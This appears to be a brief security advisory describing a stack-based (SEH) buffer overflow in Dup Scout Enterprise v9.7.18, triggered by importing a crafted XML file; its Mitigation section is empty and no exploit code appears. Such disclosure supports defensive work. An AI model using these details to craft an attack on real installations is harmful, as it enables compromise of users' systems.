Dup Scout Enterprise v9.7.18 Import Local Buffer Overflow Vuln.(SEH)

Dup Scout Enterprise v9.7.18 is vulnerable to a buffer overflow vulnerability when importing a maliciously crafted XML file. The vulnerability is caused due to a boundary error when copying user-supplied data into a fixed-length stack buffer. This can be exploited to cause a stack-based buffer overflow via a specially crafted XML file.

Mitigation:
